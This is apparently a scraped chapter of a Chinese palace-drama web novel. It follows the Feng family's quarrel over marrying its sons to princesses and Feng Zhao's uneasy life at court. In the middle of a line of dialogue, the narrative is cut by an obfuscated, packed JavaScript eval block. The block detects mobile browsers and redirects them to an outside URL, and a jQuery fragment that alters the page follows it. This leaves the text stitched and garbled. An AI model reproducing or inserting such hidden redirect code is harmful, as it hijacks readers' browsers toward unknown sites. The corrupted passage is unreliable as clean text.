冯延身为冯家长子,亲事自然马虎不得,冯太师自不必说,冯太后也关切得很。她当年力主冯宽尚公主,如今到了冯延,当然也不会放过和皇家结亲的机会。
太后为冯延亲自选定了乐庆公主,陛下的亲妹。冯延幼时入宫侍读,常有在宫中走动的机会,早就见过乐庆公主。冯延性情宽厚,对待弟弟妹妹都很照顾,公主在宫中少见外人,当然也记得这个老实的小郎君。
有此前缘在,太后做主牵红线,冯延和公主都很满意,如此当然是皆大欢喜了,冯太师便将婚事备礼操心起来了。
但冯延的好心情只到家门口为止。
冯宽的房中吵吵嚷嚷,看起来里面有人在。冯延走进屋子里,只见父亲坐在上首,赵夫人和二弟坐在一侧,见有人进来,都朝他看过去,空中顿时一静。
冯延好像没听到他们方才的争吵,先向父亲见礼。冯宽点点头,示意他也坐下。于是冯延便坐在了二人对面。
冯宽看向赵夫人和冯修,沉声道:“大郎来了,你们当着他的面把刚才的话再说一遍。”
冯修轻嗤一声,不说话了。
赵夫人倒是面不改色,语意慈爱地说:“大郎向来爱护弟弟,定然想得跟我们一样,这有什么不能说的。”
她上前几步,坐得离冯延更近,含笑说道,“大郎年纪长些,该当先议亲的,又是尚公主,多准备些也没什么,我们家也不算薄待了公主。公主金枝玉叶,愿意下嫁冯家是我们家的荣幸。”
说到这里,她又顿了顿,轻叹一声,“只是,二郎和大郎也不差几岁,如今亲事也还没个着落。”
说完了这里,她停了一下,可冯延仍是看着她并不接话,赵夫人噎住,又自己往下接着说:“公主下嫁后定然也会思念宫中,我想着,若是有姊妹亲人在,公主也能宽心些。不如叫二郎也尚公主吧,姊妹二人做妯娌,那是再好不过了!”
她说完,眼含笑意地看着冯延。冯延一时沉默,半晌才说话:“二弟婚姻之事,我做不得主,不如听父亲安排吧。”
冯宽先前被二人吵了半天,早已不耐烦。他对长子寄予厚望,这孩子虽然才气不多,但胜在忠厚,又得陛下喜爱,叫他尚公主再好不过。大郎好歹被昌陵公主养过几年,说起来也算是乐庆公主的表哥,但二郎不知争个什么劲,他当皇家公主是地里的大白菜吗!
“不必再说了!尔父还没那样大的面子叫公主都到我家来,你有本事自己求娶!”冯宽身为家主,一锤定音后再无更改可能。冯修顿时气得面色通红,但也不敢说什么,只恶狠狠地盯着对面的冯延,像是要在他身上咬下一块肉来。
冯延别过头去,只当做没看见,毕竟他已经习惯了这个弟弟从小浮薄易妒的样子。
冯修一路气冲冲地回到院子,赵夫人跟在他身后一路小跑,几乎跟不上他的步子,“二郎,你给我停下!”
冯修充耳不闻,只一路往前冲,直到撞上了刚出门的冯煦。
“哟!我们家的贵人终于舍得出门啦!”
他此刻心火怒盛,见谁都想骂两句,冯煦刚好撞上竟也遭了两句讥讽。
她好不容易修整好,结果刚一出门就碰上了败家子的奚落,可不得炸,她不甘落下风,开口就是痛骂,“你也知道是贵人,狗见了贵人都知道叫两声,有些人攀不上贵人只知道张口吠粪!”
冯修向来嘴贱惯了,却忍不了别人骂他,忍不住要动手,身边的侍仆吓得不行,立即要把他拦下。
冯煦还在火上浇油,“你来啊!你敢打我!你个窝囊费只敢对家里人动手,就这点出息,留点力气等着将来出去讨饭跟狗多抢点吃的吧!”
“啪!”赵夫人气得打了冯煦一巴掌,指着她骂,“你怎么说话的!这是你阿兄!”
冯煦不敢相信地捂住脸,瞪着眼睛看着阿娘,像是把心也给瞪出来,但出来的却只是泪,“你也知道我们是兄妹!都是你生的,你为什么永远偏心他!刚才他骂我你怎么不说,我骂他你就动手!生怕我打疼了你的宝贝儿子!就因为他下面比我多长了个东西吗!”
赵夫人一慌,想捂住她的嘴,“你乱说什么!”
冯煦却挥手挡开,不停大喊:“别碰我——别碰我!别碰我!”说着一路狂奔回去,身边的侍女都被撞倒几个,院门和房门摔得震天响,又把自己锁在里面了。
赵夫人看着不放心,想追上去看看,但回头一看冯修却已走了,慌着脸看看这边又看看那边,最后又去找冯修去了。
一众婢女顿时无措,不知该如何是好,女郎悉心备好的羊臛已洒落在地上,那原本是去送给夫人的。
**********
秋高气爽,暑热退散,宫中已然开始为过冬作备了。代城地处太行山以北,阴山隘口,每逢秋冬时节便阴寒非常,隆冬时更是常有大风席卷而过,因此刚过了暑热便要开始骤冷了。
宫娥内宦在夏末秋初之时常要备好冬季衣食,修缮宫室。譬如太和殿中的内侍近来爬上爬下,利索地撤去内室中挂起来的竹帘,那原本是盛夏避暑所用,到了九月时节也用不上了。匠人们拎着小桶,在门窗上刷上桐油灰,待其凝固后将门窗糊得密不透风,这便是为了隆冬防风之举。
冯照靠在柱子上,看着院子里侍婢们忙来忙去,有些无所适从。
她人在宫中,消息闭塞,想着打听消息又怕传到太后耳中,可不去打听又只能在这里做睁眼瞎,只能暗暗旁敲侧击。
都说陛下常来太后宫中,可她日日在此竟一次也没碰见过。且不说面圣了,就连人影也没见着过。她问过奴婢们也都说没来过,再往下问就太明显了,窥伺帝踪可是大罪,以至于来了这段时日,她竟连一声消息也不知。
冯照琢磨一番,觉得还是不能坐以待毙,心里又活泛起来,想了想决定再去膳房看看。
阿耶说叫她侍奉太后,但太后又岂会缺人伺候,衣食起居都有无数人操心,她帮不上忙,不过是跟着做个孝顺样子而已。太后日常饮食药膳,衣赏起居她都跟着看了个遍,至于文书奏批,她还没有沾上的份。
冯照进膳房时,众位女食和女飨都在忙着。她走近一看,原来是在做蓬饵,这是北地名吃,以米粉混入茱萸、枣栗蒸制而成,这是时令糕点,兴于初秋之时,如今正是吃它的好时候。
御细在一边盯着,见冯照来了,笑道:“女郎来了,来的正好,蓬饵已经做好了,菊华酒也备好了,女郎可要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188431|163160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
取一些?”
冯照走到御细跟前,轻言细语地笑回:“多谢御细,烦请为我取些蓬饵吧,酒就不必了,白日献酒恐怕太后要嫌我耽于享乐了。”
御细虽然品阶不高,但一手厨艺深受太后喜爱。冯照乍来宫中,对这等红人自然是小心周旋着,好在御细多少也看在她身份的面子上多有照顾。
冯照便取了一盘蓬饵回太极宫了。
走至巷道尽头,左转便是去太极宫的二方门,可右边的门后却隐约传来一阵吵嚷声。冯照顿了顿,这可是了解禁宫的好机会,吃食日日有,凑热闹可不常有。
走进去一看,几个老宫人正在厉色训斥跪在地上的几个小宫娥,宫娥看着很小,头上磕破了口子都渗出血了,地上洒落着几段牛骨与丝线。
“这是怎么了?”
老宫人见冯照穿金着锦,身后还跟着几个宫娥,显然身份不凡,自然不敢冒犯,忙说:“这位贵人,这几个女婢初入宫,毛毛躁躁的,摔了要送去作司的器物。”
“这是做什么用的?”冯照问。
几个宫人面色犹豫,显然有所顾忌,不知该不该说。冯照便道:“我是冯家的大娘子,太后的侄女,几位老媪尽可放心。”
宫人一听顿时惶恐,小心回道:“女郎,这是送去作司的祭物,要再行雕琢的。”
“祭物?近来有祭祀吗?”冯照发现自己还真是闭目塞听,宫里有什么事都不知道。
宫人见她全然不知,便仔细说道:“近日陛下将于西郊大阅,作司要为大阅备好祭品。”
什么?
难怪陛下最近不见踪影,原来忙着这事呢,说不定甚至都不在宫中。
冯照懊悔不已,就说自己闭目塞听嘛,这等大事都不知道。但想着想着心里也难免生怨。宫中尽是耳目,她入宫陛下定然知道,但他从未找过她,这么久气也不消,气性也太大了吧!
真是瞎子给哑巴拜年,一个摸不着门,一个光看不说话。
只是这样,她费尽心思见面还有意义吗?说不定等到见了面的那天,他都要忘了他们的情意了,尽管她也不知道陛下心中他们的情意还有几分。
想到这里,她又惆怅不已。预备要走时却被跪在地上的宫娥绊住了脚。宫娥小心磕了个头,可怜巴巴地看着她。冯照向来不是个发善心的人,但这回见到这小宫娥的可怜样子却有些感同身受,她如今境况与这宫娥何异呢?
于是便对着老宫人说道:“我瞧她们年纪还小,难免犯错,便再给她们一次机会,多教教吧。”说着把自己都感动了,唉,我年纪也不大,怎么没人原谅我呢。
宫人见贵人求情,当然不会再为难,只吩咐道:“还不多谢贵人。”
小宫娥们纷纷磕头如打桩,“多谢贵人!”
冯照矜持地叫她们起身,心里不免得意,我真是个好人。但走着走着又不高兴起来,我这么慈悲为怀,怎么没人来对我慈悲呢。陛下,太后哪一个都不是好相与的啊!甚至是英华夫人呢!
但人常说不要背后说人不是没道理的,她刚一过垂花门,便看到了英华夫人站在那里看着她。
她心里一片空白,脸上却瞬间扬起了笑容,“华夫人!”